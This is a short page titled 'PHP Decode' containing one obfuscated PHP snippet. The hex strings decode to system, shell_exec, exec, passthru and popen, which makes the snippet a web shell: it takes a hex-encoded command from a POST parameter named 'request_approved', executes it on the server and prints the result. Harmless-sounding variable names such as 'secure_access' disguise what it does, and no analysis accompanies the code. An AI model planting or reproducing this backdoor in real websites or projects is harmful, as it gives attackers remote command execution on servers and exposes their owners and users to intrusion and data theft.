PHP Decode

<?  pointer1 = '73';$pointer2 = '79';$pointer3 = '65';$pointer4 = '6c';$pointer5 = '5f';$pointer6 = '78';$pointer7 = '68';$pointer8 = '72';$pointer9 = '75';$pointer10 = '6f';$pointer11 = '74';$pointer12 = '6d';$pointer13 = '6e';$pointer14 = '70';$pointer15 = '63';$pointer16 = '61';$pointer17 = '76';$pointer18 = '64';$secure_access1 = pack("H*", $pointer1.$pointer2.'73'.'74'.$pointer3.'6d');$secure_access2 = pack("H*", $pointer1.'68'.$pointer3.'6c'.$pointer4.$pointer5.'65'.'78'.'65'.'63');$secure_access3 = pack("H*", $pointer3.$pointer6.'65'.'63');$secure_access4 = pack("H*", '70'.'61'.'73'.$pointer1.'74'.$pointer7.$pointer8.$pointer9);$secure_access5 = pack("H*", '70'.$pointer10.'70'.'65'.'6e');$secure_access6 = pack("H*", '73'.$pointer11.$pointer8.$pointer3.'61'.$pointer12.'5f'.'67'.'65'.$pointer11.'5f'.'63'.'6f'.'6e'.'74'.$pointer3.$pointer13.'74'.'73');$secure_access7 = pack("H*", $pointer14.$pointer15.$pointer4.'6f'.$pointer1.$pointer3);$request_approved = pack("H*", $pointer8.'65'.'71'.$pointer9.$pointer3.'73'.$pointer11.'5f'.$pointer16.$pointer14.'70'.$pointer8.'6f'.$pointer17.'65'.$pointer18);if(isset($_POST[$request_approved])){$request_approved=pack("H*",$_POST[$request_approved]);if(function_exists($secure_access1)){$secure_access1($request_approved);}elseif(function_exists($secure_access2)){print $secure_access2($request_approved);}elseif(function_exists($secure_access3)){$secure_access3($request_approved,$descriptor_tkn);print join("
",$descriptor_tkn);}elseif(function_exists($secure_access4)){$secure_access4($request_approved);}elseif(function_exists($secure_access5)&&function_exists($secure_access6)&&function_exists($secure_access7)){$ref_key=$secure_access5($request_approved,"r");if($ref_key){$flag_value=$secure_access6($ref_key);$secure_access7($ref_key);print $flag_value;}}exit;} ?>